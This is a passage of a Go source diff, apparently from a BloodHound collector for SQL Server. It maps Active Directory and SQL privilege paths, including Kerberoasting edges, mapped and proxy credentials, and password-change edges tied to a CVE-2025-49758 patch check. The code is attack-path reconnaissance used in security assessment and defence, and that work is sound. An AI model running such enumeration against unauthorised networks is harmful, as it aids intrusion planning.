+ // Skip NT AUTHORITY, NT SERVICE, local accounts, etc.
+ if !strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-21-") {
+ continue
+ }
+
+ // Skip if we already created HasLogin for this SID (dedup)
+ if principalsWithLogin[principal.SecurityIdentifier] {
+ continue
+ }
+
+ principalsWithLogin[principal.SecurityIdentifier] = true
+
+ // MSSQL_HasLogin: AD Principal (SID) -> SQL Login
+ edge := c.createEdge(
+ principal.SecurityIdentifier,
+ principal.ObjectIdentifier,
+ bloodhound.EdgeKinds.HasLogin,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: "Base", // Generic AD principal type
+ TargetName: principal.Name,
+ TargetType: bloodhound.NodeKinds.Login,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+
+ // Create HasLogin edges for local groups that have SQL logins
+ // This processes ALL local groups (not just BUILTIN S-1-5-32-*), matching PowerShell behavior.
+ // LocalGroupsWithLogins contains groups collected via WMI/net localgroup enumeration.
+ if serverInfo.LocalGroupsWithLogins != nil {
+ for _, groupInfo := range serverInfo.LocalGroupsWithLogins {
+ if groupInfo.Principal == nil || groupInfo.Principal.SecurityIdentifier == "" {
+ continue
+ }
+
+ principal := groupInfo.Principal
+
+ // Track non-BUILTIN SIDs separately (machine-local groups)
+ if !strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-32-") {
+ principalsWithLogin[principal.SecurityIdentifier] = true
+ }
+
+ // ObjectID format: {serverFQDN}-{SID} (machine-specific)
+ groupObjectID := serverInfo.Hostname + "-" + principal.SecurityIdentifier
+ principalsWithLogin[groupObjectID] = true
+
+ // MSSQL_HasLogin edge
+ edge := c.createEdge(
+ groupObjectID,
+ principal.ObjectIdentifier,
+ bloodhound.EdgeKinds.HasLogin,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: "Group",
+ TargetName: principal.Name,
+ TargetType: bloodhound.NodeKinds.Login,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ } else {
+ // Fallback: process local groups from ServerPrincipals if LocalGroupsWithLogins is not populated
+ // This handles both BUILTIN (S-1-5-32-*) and machine-local groups (S-1-5-21-* not matching domain SID)
+ for _, principal := range serverInfo.ServerPrincipals {
+ if principal.SecurityIdentifier == "" {
+ continue
+ }
+
+ // Identify local groups: BUILTIN (S-1-5-32-*) or machine-local Windows groups
+ isLocalGroup := false
+ if strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-32-") {
+ isLocalGroup = true
+ } else if principal.TypeDescription == "WINDOWS_GROUP" &&
+ strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-21-") &&
+ (serverInfo.DomainSID == "" || !strings.HasPrefix(principal.SecurityIdentifier, serverInfo.DomainSID+"-")) {
+ isLocalGroup = true
+ }
+ if !isLocalGroup {
+ continue
+ }
+
+ // Skip disabled logins
+ if principal.IsDisabled {
+ continue
+ }
+
+ // Check if has CONNECT SQL permission
+ hasConnectSQL := false
+ for _, perm := range principal.Permissions {
+ if perm.Permission == "CONNECT SQL" && (perm.State == "GRANT" || perm.State == "GRANT_WITH_GRANT_OPTION") {
+ hasConnectSQL = true
+ break
+ }
+ }
+ // Also check sysadmin/securityadmin membership
+ if !hasConnectSQL {
+ for _, membership := range principal.MemberOf {
+ if membership.Name == "sysadmin" || membership.Name == "securityadmin" {
+ hasConnectSQL = true
+ break
+ }
+ }
+ }
+ if !hasConnectSQL {
+ continue
+ }
+
+ // ObjectID format: {serverFQDN}-{SID}
+ groupObjectID := serverInfo.Hostname + "-" + principal.SecurityIdentifier
+
+ // Skip if already processed
+ if principalsWithLogin[groupObjectID] {
+ continue
+ }
+ principalsWithLogin[groupObjectID] = true
+
+ // MSSQL_HasLogin edge
+ edge := c.createEdge(
+ groupObjectID,
+ principal.ObjectIdentifier,
+ bloodhound.EdgeKinds.HasLogin,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: "Group",
+ TargetName: principal.Name,
+ TargetType: bloodhound.NodeKinds.Login,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+
+ // =========================================================================
+ // SERVICE ACCOUNT EDGES (including Kerberoasting edges)
+ // =========================================================================
+
+ // Track domain principals with admin privileges for GetAdminTGS
+ // Uses nested role/permission checks matching PowerShell's second pass (lines 7676-7712)
+ var domainPrincipalsWithAdmin []string
+ var enabledDomainLoginsWithConnectSQL []types.ServerPrincipal
+
+ for _, principal := range serverInfo.ServerPrincipals {
+ if !principal.IsActiveDirectoryPrincipal || principal.SecurityIdentifier == "" {
+ continue
+ }
+
+ // Skip non-domain SIDs
+ if !strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-21-") {
+ continue
+ }
+
+ // Check if has admin-level access (including inherited through nested role membership)
+ hasAdmin := c.hasNestedRoleMembership(principal, "sysadmin", serverInfo) ||
+ c.hasNestedRoleMembership(principal, "securityadmin", serverInfo) ||
+ c.hasEffectivePermission(principal, "CONTROL SERVER", serverInfo) ||
+ c.hasEffectivePermission(principal, "IMPERSONATE ANY LOGIN", serverInfo)
+
+ if hasAdmin {
+ domainPrincipalsWithAdmin = append(domainPrincipalsWithAdmin, principal.ObjectIdentifier)
+ }
+
+ // Track enabled domain logins with CONNECT SQL for GetTGS
+ if !principal.IsDisabled {
+ hasConnect := false
+ for _, perm := range principal.Permissions {
+ if perm.Permission == "CONNECT SQL" && (perm.State == "GRANT" || perm.State == "GRANT_WITH_GRANT_OPTION") {
+ hasConnect = true
+ break
+ }
+ }
+ // Also check if member of sysadmin (implies CONNECT)
+ if !hasConnect {
+ for _, membership := range principal.MemberOf {
+ if membership.Name == "sysadmin" || membership.Name == "securityadmin" {
+ hasConnect = true
+ break
+ }
+ }
+ }
+ if hasConnect {
+ enabledDomainLoginsWithConnectSQL = append(enabledDomainLoginsWithConnectSQL, principal)
+ }
+ }
+ }
+
+ // Create ServiceAccountFor and Kerberoasting edges from service accounts to the server
+ for _, sa := range serverInfo.ServiceAccounts {
+ if sa.ObjectIdentifier == "" && sa.SID == "" {
+ continue
+ }
+
+ saID := sa.SID
+ if saID == "" {
+ saID = sa.ObjectIdentifier
+ }
+
+ // Only create edges for domain accounts (skip NT AUTHORITY, LOCAL SERVICE, etc.)
+ // Domain accounts have SIDs starting with S-1-5-21-
+ isDomainAccount := strings.HasPrefix(saID, "S-1-5-21-")
+
+ if !isDomainAccount {
+ continue
+ }
+
+ // Check if the service account is the server's own computer account
+ // This is used to skip HasSession only - other edges still get created for computer accounts
+ // We check two conditions:
+ // 1. Name matches SAMAccountName format (HOSTNAME$)
+ // 2. SID matches the server's ComputerSID (for when name was converted to FQDN)
+ hostname := serverInfo.Hostname
+ if strings.Contains(hostname, ".") {
+ hostname = strings.Split(hostname, ".")[0]
+ }
+ isComputerAccountName := strings.EqualFold(sa.Name, hostname+"$")
+ isComputerAccountSID := serverInfo.ComputerSID != "" && saID == serverInfo.ComputerSID
+
+ // Check if this service account was converted from a built-in account (LocalSystem, etc.)
+ // This is only used for HasSession - we skip that for computer accounts running as themselves
+ isConvertedFromBuiltIn := sa.ConvertedFromBuiltIn
+
+ // ServiceAccountFor: Service Account (SID) -> SQL Server
+ // We create this edge for all resolved service accounts including computer accounts
+ edge := c.createEdge(
+ saID,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.ServiceAccountFor,
+ &bloodhound.EdgeContext{
+ SourceName: sa.Name,
+ SourceType: "Base", // Could be User or Computer
+ TargetName: serverInfo.SQLServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // HasSession: Computer -> Service Account
+ // Skip for computer accounts (when service account IS the computer)
+ // Also skip for converted built-in accounts (which become the computer account)
+ // Check both name pattern (HOSTNAME$) and SID match
+ isBuiltInAccount := strings.ToUpper(sa.Name) == "NT AUTHORITY\\SYSTEM" ||
+ sa.Name == "LocalSystem" ||
+ strings.ToUpper(sa.Name) == "NT AUTHORITY\\LOCAL SERVICE" ||
+ strings.ToUpper(sa.Name) == "NT AUTHORITY\\NETWORK SERVICE"
+
+ if serverInfo.ComputerSID != "" && !isBuiltInAccount && !isComputerAccountName && !isComputerAccountSID && !isConvertedFromBuiltIn {
+ edge := c.createEdge(
+ serverInfo.ComputerSID,
+ saID,
+ bloodhound.EdgeKinds.HasSession,
+ &bloodhound.EdgeContext{
+ SourceName: serverInfo.Hostname,
+ SourceType: "Computer",
+ TargetName: sa.Name,
+ TargetType: "Base",
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+
+ // GetAdminTGS: Service Account -> Server (if any domain principal has admin)
+ if len(domainPrincipalsWithAdmin) > 0 {
+ edge := c.createEdge(
+ saID,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.GetAdminTGS,
+ &bloodhound.EdgeContext{
+ SourceName: sa.Name,
+ SourceType: "Base",
+ TargetName: serverInfo.SQLServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+
+ // GetTGS: Service Account -> each enabled domain login with CONNECT SQL
+ for _, login := range enabledDomainLoginsWithConnectSQL {
+ edge := c.createEdge(
+ saID,
+ login.ObjectIdentifier,
+ bloodhound.EdgeKinds.GetTGS,
+ &bloodhound.EdgeContext{
+ SourceName: sa.Name,
+ SourceType: "Base",
+ TargetName: login.Name,
+ TargetType: bloodhound.NodeKinds.Login,
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+
+ // =========================================================================
+ // CREDENTIAL EDGES
+ // =========================================================================
+
+ // Build credential lookup map for enriching edge properties with dates
+ credentialByID := make(map[int]*types.Credential)
+ for i := range serverInfo.Credentials {
+ credentialByID[serverInfo.Credentials[i].CredentialID] = &serverInfo.Credentials[i]
+ }
+
+ // Create HasMappedCred edges from logins to their mapped credentials
+ for _, principal := range serverInfo.ServerPrincipals {
+ if principal.MappedCredential == nil {
+ continue
+ }
+
+ cred := principal.MappedCredential
+
+ // Only create edges for domain credentials with a resolved SID,
+ // matching PowerShell's IsDomainPrincipal && ResolvedSID check
+ if cred.ResolvedSID == "" {
+ continue
+ }
+
+ targetID := cred.ResolvedSID
+
+ // HasMappedCred: Login -> AD Principal (resolved SID or credential identity)
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ targetID,
+ bloodhound.EdgeKinds.HasMappedCred,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.Login,
+ TargetName: cred.CredentialIdentity,
+ TargetType: "Base",
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if edge != nil {
+ edge.Properties["credentialId"] = cred.CredentialID
+ edge.Properties["credentialIdentity"] = cred.CredentialIdentity
+ edge.Properties["credentialName"] = cred.Name
+ edge.Properties["resolvedSid"] = cred.ResolvedSID
+ // Get createDate/modifyDate from the standalone credentials list
+ if fullCred, ok := credentialByID[cred.CredentialID]; ok {
+ edge.Properties["createDate"] = fullCred.CreateDate.Format(time.RFC3339)
+ edge.Properties["modifyDate"] = fullCred.ModifyDate.Format(time.RFC3339)
+ }
+ }
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+
+ // =========================================================================
+ // PROXY ACCOUNT EDGES
+ // =========================================================================
+
+ // Create HasProxyCred edges from logins authorized to use proxies
+ for _, proxy := range serverInfo.ProxyAccounts {
+ // Only create edges for domain credentials with a resolved SID,
+ // matching PowerShell's IsDomainPrincipal && ResolvedSID check
+ if proxy.ResolvedSID == "" {
+ continue
+ }
+
+ // For each login authorized to use this proxy
+ for _, loginName := range proxy.Logins {
+ // Find the login's ObjectIdentifier
+ var loginObjectID string
+ for _, principal := range serverInfo.ServerPrincipals {
+ if principal.Name == loginName {
+ loginObjectID = principal.ObjectIdentifier
+ break
+ }
+ }
+
+ if loginObjectID == "" {
+ continue
+ }
+
+ proxyTargetID := proxy.ResolvedSID
+
+ // HasProxyCred: Login -> AD Principal (resolved SID or credential identity)
+ edge := c.createEdge(
+ loginObjectID,
+ proxyTargetID,
+ bloodhound.EdgeKinds.HasProxyCred,
+ &bloodhound.EdgeContext{
+ SourceName: loginName,
+ SourceType: bloodhound.NodeKinds.Login,
+ TargetName: proxy.CredentialIdentity,
+ TargetType: "Base",
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if edge != nil {
+ edge.Properties["authorizedPrincipals"] = strings.Join(proxy.Logins, ", ")
+ edge.Properties["credentialId"] = proxy.CredentialID
+ edge.Properties["credentialIdentity"] = proxy.CredentialIdentity
+ edge.Properties["credentialName"] = proxy.CredentialName
+ edge.Properties["description"] = proxy.Description
+ edge.Properties["isEnabled"] = proxy.Enabled
+ edge.Properties["proxyId"] = proxy.ProxyID
+ edge.Properties["proxyName"] = proxy.Name
+ edge.Properties["resolvedSid"] = proxy.ResolvedSID
+ edge.Properties["subsystems"] = strings.Join(proxy.Subsystems, ", ")
+ if proxy.ResolvedPrincipal != nil {
+ edge.Properties["resolvedType"] = proxy.ResolvedPrincipal.ObjectClass
+ }
+ }
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+
+ // =========================================================================
+ // DATABASE-SCOPED CREDENTIAL EDGES
+ // =========================================================================
+
+ // Create HasDBScopedCred edges from databases to credential identities
+ for _, db := range serverInfo.Databases {
+ for _, cred := range db.DBScopedCredentials {
+ // Only create edges for domain credentials with a resolved SID,
+ // matching PowerShell's IsDomainPrincipal && ResolvedSID check
+ if cred.ResolvedSID == "" {
+ continue
+ }
+
+ dbCredTargetID := cred.ResolvedSID
+
+ // HasDBScopedCred: Database -> AD Principal (resolved SID or credential identity)
+ edge := c.createEdge(
+ db.ObjectIdentifier,
+ dbCredTargetID,
+ bloodhound.EdgeKinds.HasDBScopedCred,
+ &bloodhound.EdgeContext{
+ SourceName: db.Name,
+ SourceType: bloodhound.NodeKinds.Database,
+ TargetName: cred.CredentialIdentity,
+ TargetType: "Base",
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ },
+ )
+ if edge != nil {
+ edge.Properties["credentialId"] = cred.CredentialID
+ edge.Properties["credentialIdentity"] = cred.CredentialIdentity
+ edge.Properties["credentialName"] = cred.Name
+ edge.Properties["createDate"] = cred.CreateDate.Format(time.RFC3339)
+ edge.Properties["database"] = db.Name
+ edge.Properties["modifyDate"] = cred.ModifyDate.Format(time.RFC3339)
+ edge.Properties["resolvedSid"] = cred.ResolvedSID
+ }
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+
+ return nil
+}
+
+// hasNestedRoleMembership checks if a server principal is a member of a target role,
+// including through nested role membership chains (DFS traversal).
+// This matches PowerShell's Get-NestedRoleMembership function.
+func (c *Collector) hasNestedRoleMembership(principal types.ServerPrincipal, targetRoleName string, serverInfo *types.ServerInfo) bool {
+ visited := make(map[string]bool)
+ return c.hasNestedRoleMembershipDFS(principal.MemberOf, targetRoleName, serverInfo, visited)
+}
+
+func (c *Collector) hasNestedRoleMembershipDFS(memberOf []types.RoleMembership, targetRoleName string, serverInfo *types.ServerInfo, visited map[string]bool) bool {
+ for _, role := range memberOf {
+ roleName := role.Name
+ if roleName == "" {
+ // Try to extract from ObjectIdentifier (format: "rolename@server")
+ parts := strings.SplitN(role.ObjectIdentifier, "@", 2)
+ if len(parts) > 0 {
+ roleName = parts[0]
+ }
+ }
+
+ if visited[roleName] {
+ continue
+ }
+ visited[roleName] = true
+
+ if roleName == targetRoleName {
+ return true
+ }
+
+ // Look up the role in server principals and recurse
+ for _, sp := range serverInfo.ServerPrincipals {
+ if sp.Name == roleName && sp.TypeDescription == "SERVER_ROLE" {
+ if c.hasNestedRoleMembershipDFS(sp.MemberOf, targetRoleName, serverInfo, visited) {
+ return true
+ }
+ break
+ }
+ }
+ }
+ return false
+}
+
+// fixedServerRolePermissions maps fixed server roles to their implied permissions,
+// matching PowerShell's $fixedServerRolePermissions. These are permissions that
+// are not explicitly granted in sys.server_permissions but are inherent to the role.
+var fixedServerRolePermissions = map[string][]string{
+ // sysadmin implicitly has all permissions; CONTROL SERVER is the effective grant
+ "sysadmin": {"CONTROL SERVER"},
+ // securityadmin can manage logins
+ "securityadmin": {"ALTER ANY LOGIN"},
+}
+
+// hasEffectivePermission checks if a server principal has a permission, either directly,
+// inherited through role membership chains (BFS traversal), or implied by fixed role
+// membership (e.g., sysadmin implies CONTROL SERVER).
+// This matches PowerShell's Get-EffectivePermissions function combined with
+// $fixedServerRolePermissions logic.
+func (c *Collector) hasEffectivePermission(principal types.ServerPrincipal, targetPermission string, serverInfo *types.ServerInfo) bool {
+ // First check direct permissions (skip DENY)
+ for _, perm := range principal.Permissions {
+ if perm.Permission == targetPermission && perm.State != "DENY" {
+ return true
+ }
+ }
+
+ // BFS through role membership
+ checked := make(map[string]bool)
+ queue := []string{}
+
+ // Seed the queue with direct role memberships
+ for _, role := range principal.MemberOf {
+ roleName := role.Name
+ if roleName == "" {
+ parts := strings.SplitN(role.ObjectIdentifier, "@", 2)
+ if len(parts) > 0 {
+ roleName = parts[0]
+ }
+ }
+ queue = append(queue, roleName)
+ }
+
+ for len(queue) > 0 {
+ currentRoleName := queue[0]
+ queue = queue[1:]
+
+ if checked[currentRoleName] || currentRoleName == "public" {
+ continue
+ }
+ checked[currentRoleName] = true
+
+ // Check fixed role implied permissions (e.g., sysadmin -> CONTROL SERVER)
+ if impliedPerms, ok := fixedServerRolePermissions[currentRoleName]; ok {
+ for _, impliedPerm := range impliedPerms {
+ if impliedPerm == targetPermission {
+ return true
+ }
+ }
+ }
+
+ // Find the role in server principals
+ for _, sp := range serverInfo.ServerPrincipals {
+ if sp.Name == currentRoleName && sp.TypeDescription == "SERVER_ROLE" {
+ // Check this role's permissions
+ for _, perm := range sp.Permissions {
+ if perm.Permission == targetPermission {
+ return true
+ }
+ }
+ // Add nested roles to queue
+ for _, nestedRole := range sp.MemberOf {
+ nestedName := nestedRole.Name
+ if nestedName == "" {
+ parts := strings.SplitN(nestedRole.ObjectIdentifier, "@", 2)
+ if len(parts) > 0 {
+ nestedName = parts[0]
+ }
+ }
+ queue = append(queue, nestedName)
+ }
+ break
+ }
+ }
+ }
+
+ return false
+}
+
+// hasNestedDBRoleMembership checks if a database principal is a member of a target role,
+// including through nested role membership chains (DFS traversal).
+func (c *Collector) hasNestedDBRoleMembership(principal types.DatabasePrincipal, targetRoleName string, db *types.Database) bool {
+ visited := make(map[string]bool)
+ return c.hasNestedDBRoleMembershipDFS(principal.MemberOf, targetRoleName, db, visited)
+}
+
+func (c *Collector) hasNestedDBRoleMembershipDFS(memberOf []types.RoleMembership, targetRoleName string, db *types.Database, visited map[string]bool) bool {
+ for _, role := range memberOf {
+ roleName := role.Name
+ if roleName == "" {
+ parts := strings.SplitN(role.ObjectIdentifier, "@", 2)
+ if len(parts) > 0 {
+ roleName = parts[0]
+ }
+ }
+
+ key := db.Name + "::" + roleName
+ if visited[key] {
+ continue
+ }
+ visited[key] = true
+
+ if roleName == targetRoleName {
+ return true
+ }
+
+ // Look up the role in database principals and recurse
+ for _, dp := range db.DatabasePrincipals {
+ if dp.Name == roleName && dp.TypeDescription == "DATABASE_ROLE" {
+ if c.hasNestedDBRoleMembershipDFS(dp.MemberOf, targetRoleName, db, visited) {
+ return true
+ }
+ break
+ }
+ }
+ }
+ return false
+}
+
+// hasSecurityadminRole checks if a principal is a member of the securityadmin role (including nested)
+func (c *Collector) hasSecurityadminRole(principal types.ServerPrincipal, serverInfo *types.ServerInfo) bool {
+ return c.hasNestedRoleMembership(principal, "securityadmin", serverInfo)
+}
+
+// hasImpersonateAnyLogin checks if a principal has IMPERSONATE ANY LOGIN permission (including inherited)
+func (c *Collector) hasImpersonateAnyLogin(principal types.ServerPrincipal, serverInfo *types.ServerInfo) bool {
+ return c.hasEffectivePermission(principal, "IMPERSONATE ANY LOGIN", serverInfo)
+}
+
+// shouldCreateChangePasswordEdge determines if a ChangePassword edge should be created for a target SQL login
+// based on CVE-2025-49758 patch status. If the server is patched, the edge is only created if the target
+// does NOT have securityadmin role or IMPERSONATE ANY LOGIN permission.
+func (c *Collector) shouldCreateChangePasswordEdge(serverInfo *types.ServerInfo, targetPrincipal types.ServerPrincipal) bool {
+ // Check if server is patched for CVE-2025-49758
+ if IsPatchedForCVE202549758(serverInfo.VersionNumber, serverInfo.Version) {
+ // Patched - check if target has securityadmin or IMPERSONATE ANY LOGIN
+ // If target has either, the patch prevents changing their password without current password
+ if c.hasSecurityadminRole(targetPrincipal, serverInfo) || c.hasImpersonateAnyLogin(targetPrincipal, serverInfo) {
+ // Track this skipped edge for grouped reporting (using map to deduplicate)
+ c.skippedChangePasswordMu.Lock()
+ if c.skippedChangePasswordEdges == nil {
+ c.skippedChangePasswordEdges = make(map[string]bool)
+ }
+ c.skippedChangePasswordEdges[targetPrincipal.Name] = true
+ c.skippedChangePasswordMu.Unlock()
+ return false
+ }
+ }
+ // Unpatched or target doesn't have protected permissions - create the edge
+ return true
+}
+
+// logCVE202549758Status logs the CVE-2025-49758 vulnerability status for a server
+func (c *Collector) logCVE202549758Status(serverInfo *types.ServerInfo) {
+ if serverInfo.VersionNumber == "" && serverInfo.Version == "" {
+ c.logVerbose("Skipping CVE-2025-49758 patch status check - server version unknown")
+ return
+ }
+
+ c.logVerbose("Checking for CVE-2025-49758 patch status...")
+ result := CheckCVE202549758(serverInfo.VersionNumber, serverInfo.Version)
+ if result == nil {
+ c.logVerbose("Unable to parse SQL version for CVE-2025-49758 check")
+ return
+ }
+
+ fmt.Printf("Detected SQL version: %s\n", result.VersionDetected)
+ if result.IsVulnerable {
+ fmt.Printf("CVE-2025-49758: VULNERABLE (version %s, requires %s)\n", result.VersionDetected, result.RequiredVersion)
+ } else if result.IsPatched {
+ c.logVerbose("CVE-2025-49758: NOT vulnerable (version %s)\n", result.VersionDetected)
+ }
+}
+
+// processLinkedServers resolves linked server ObjectIdentifiers and queues them for collection if enabled
+func (c *Collector) processLinkedServers(serverInfo *types.ServerInfo, server *ServerToProcess) {
+ if len(serverInfo.LinkedServers) == 0 {
+ return
+ }
+
+ // Only do expensive DNS/LDAP resolution if collecting from linked servers
+ if !c.config.CollectFromLinkedServers {
+ // When not collecting, just set basic ObjectIdentifiers for edge generation
+ for i := range serverInfo.LinkedServers {
+ ls := &serverInfo.LinkedServers[i]
+ targetHost := ls.DataSource
+ if targetHost == "" {
+ targetHost = ls.Name
+ }
+ hostname, port, instanceName := c.parseDataSource(targetHost)
+
+ // Extract domain from source server
+ sourceDomain := ""
+ if strings.Contains(serverInfo.Hostname, ".") {
+ parts := strings.SplitN(serverInfo.Hostname, ".", 2)
+ if len(parts) > 1 {
+ sourceDomain = parts[1]
+ }
+ }
+
+ // Resolve ObjectIdentifier (needed for edge generation)
+ resolvedID := c.resolveDataSourceToSID(hostname, port, instanceName, sourceDomain)
+ ls.ResolvedObjectIdentifier = resolvedID
+ }
+ return
+ }
+
+ // Full processing when collecting from linked servers (includes DNS lookups for queueing)
+ for i := range serverInfo.LinkedServers {
+ ls := &serverInfo.LinkedServers[i]
+
+ // Resolve the target server hostname
+ targetHost := ls.DataSource
+ if targetHost == "" {
+ targetHost = ls.Name
+ }
+
+ // Parse hostname, port, and instance from DataSource
+ // Formats: hostname, hostname:port, hostname\instance, hostname,port
+ hostname, port, instanceName := c.parseDataSource(targetHost)
+
+ // Strip instance name if present for FQDN resolution
+ resolvedHost := hostname
+
+ // If hostname is an IP address, try to resolve to hostname
+ if net.ParseIP(hostname) != nil {
+ if names, err := net.LookupAddr(hostname); err == nil && len(names) > 0 {
+ // Use the first resolved name, strip trailing dot
+ resolvedHostFromIP := strings.TrimSuffix(names[0], ".")
+ // Extract just hostname part for SID resolution
+ if strings.Contains(resolvedHostFromIP, ".") {
+ hostname = strings.Split(resolvedHostFromIP, ".")[0]
+ } else {
+ hostname = resolvedHostFromIP
+ }
+ }
+ }
+
+ // Try to resolve FQDN if not already one
+ if !strings.Contains(resolvedHost, ".") {
+ // Try DNS resolution
+ if addrs, err := net.LookupHost(resolvedHost); err == nil && len(addrs) > 0 {
+ if names, err := net.LookupAddr(addrs[0]); err == nil && len(names) > 0 {
+ resolvedHost = strings.TrimSuffix(names[0], ".")
+ }
+ }
+ }
+
+ // Extract domain from source server for linked server lookups
+ sourceDomain := ""
+ if strings.Contains(serverInfo.Hostname, ".") {
+ parts := strings.SplitN(serverInfo.Hostname, ".", 2)
+ if len(parts) > 1 {
+ sourceDomain = parts[1]
+ }
+ }
+
+ // Resolve the linked server's ResolvedObjectIdentifier (SID:port format)
+ resolvedID := c.resolveDataSourceToSID(hostname, port, instanceName, sourceDomain)
+ ls.ResolvedObjectIdentifier = resolvedID
+
+ // Check if already in queue
+ isAlreadyQueued := false
+ for _, existing := range c.serversToProcess {
+ if strings.EqualFold(existing.Hostname, resolvedHost) ||
+ strings.EqualFold(existing.Hostname, hostname) {
+ isAlreadyQueued = true
+ break
+ }
+ }
+
+ // Add to queue if not already there
+ if !isAlreadyQueued {
+ c.addLinkedServerToQueue(resolvedHost, serverInfo.Hostname, sourceDomain)
+ }
+ }
+}
+
+// parseDataSource parses a SQL Server data source string into hostname, port, and instance name
+// Supports formats: hostname, hostname:port, hostname\instance, hostname,port, hostname\instance,port
+func (c *Collector) parseDataSource(dataSource string) (hostname, port, instanceName string) {
+ // Default port
+ port = "1433"
+ hostname = dataSource
+
+ // Check for instance name (backslash)
+ if idx := strings.Index(dataSource, "\\"); idx != -1 {
+ hostname = dataSource[:idx]
+ remaining := dataSource[idx+1:]
+
+ // Check if there's a port after the instance
+ if commaIdx := strings.Index(remaining, ","); commaIdx != -1 {
+ instanceName = remaining[:commaIdx]
+ port = remaining[commaIdx+1:]
+ } else if colonIdx := strings.Index(remaining, ":"); colonIdx != -1 {
+ instanceName = remaining[:colonIdx]
+ port = remaining[colonIdx+1:]
+ } else {
+ instanceName = remaining
+ }
+ return
+ }
+
+ // Check for port (comma or colon without backslash)
+ if commaIdx := strings.Index(dataSource, ","); commaIdx != -1 {
+ hostname = dataSource[:commaIdx]
+ port = dataSource[commaIdx+1:]
+ return
+ }
+
+ // Also support colon for port (common in JDBC-style connections)
+ if colonIdx := strings.LastIndex(dataSource, ":"); colonIdx != -1 {
+ // Make sure it's not a drive letter (e.g., C:\...)
+ if colonIdx > 1 {
+ hostname = dataSource[:colonIdx]
+ port = dataSource[colonIdx+1:]
+ }
+ }
+
+ return
+}
+
+// resolveLinkedServerSourceID resolves the source server ObjectIdentifier for a chained linked server.
+// When a linked server's SourceServer differs from the current server's hostname, this resolves
+// the source to a SID:port format. Falls back to "LinkedServer:hostname" if resolution fails.
+// This matches PowerShell's Resolve-DataSourceToSid behavior for linked server source resolution.
+func (c *Collector) resolveLinkedServerSourceID(sourceServer string, serverInfo *types.ServerInfo) string {
+ hostname, port, instanceName := c.parseDataSource(sourceServer)
+
+ // Extract domain from current server for resolution
+ sourceDomain := ""
+ if strings.Contains(serverInfo.Hostname, ".") {
+ parts := strings.SplitN(serverInfo.Hostname, ".", 2)
+ if len(parts) > 1 {
+ sourceDomain = parts[1]
+ }
+ }
+
+ resolved := c.resolveDataSourceToSID(hostname, port, instanceName, sourceDomain)
+
+ // Check if resolution succeeded (starts with S-1-5- means SID was resolved)
+ if strings.HasPrefix(resolved, "S-1-5-") {
+ return resolved
+ }
+
+ // Fallback to LinkedServer:hostname format (matching PowerShell behavior)
+ return "LinkedServer:" + sourceServer
+}
+
+// resolveDataSourceToSID resolves a data source to SID:port format for linked server edges
+// Returns SID:port if the hostname can be resolved, otherwise returns hostname:port
+func (c *Collector) resolveDataSourceToSID(hostname, port, instanceName, domain string) string {
+ // For cloud SQL servers (Azure, AWS RDS, etc.), use hostname:port format
+ if strings.Contains(hostname, ".database.windows.net") ||
+ strings.Contains(hostname, ".rds.amazonaws.com") ||
+ strings.Contains(hostname, ".database.azure.com") {
+ if instanceName != "" {
+ return fmt.Sprintf("%s:%s", hostname, instanceName)
+ }
+ return fmt.Sprintf("%s:%s", hostname, port)
+ }
+
+ // Try to resolve the computer SID
+ machineName := hostname
+ if strings.Contains(machineName, ".") {
+ machineName = strings.Split(machineName, ".")[0]
+ }
+
+ // Try Windows API first
+ sid, err := ad.ResolveComputerSIDWindows(machineName, domain)
+ if err == nil && sid != "" {
+ if instanceName != "" {
+ return fmt.Sprintf("%s:%s", sid, instanceName)
+ }
+ return fmt.Sprintf("%s:%s", sid, port)
+ }
+
+ // Try LDAP if domain is specified and Windows API failed
+ if domain != "" {
+ adClient := ad.NewClient(domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver())
+ defer adClient.Close()
+
+ sid, err = adClient.ResolveComputerSID(machineName)
+ if err == nil && sid != "" {
+ if instanceName != "" {
+ return fmt.Sprintf("%s:%s", sid, instanceName)
+ }
+ return fmt.Sprintf("%s:%s", sid, port)
+ }
+ }
+
+ // Fallback to hostname:port if SID resolution fails
+ if instanceName != "" {
+ return fmt.Sprintf("%s:%s", hostname, instanceName)
+ }
+ return fmt.Sprintf("%s:%s", hostname, port)
+}
+
+// addLinkedServerToQueue adds a discovered linked server to the queue for later processing
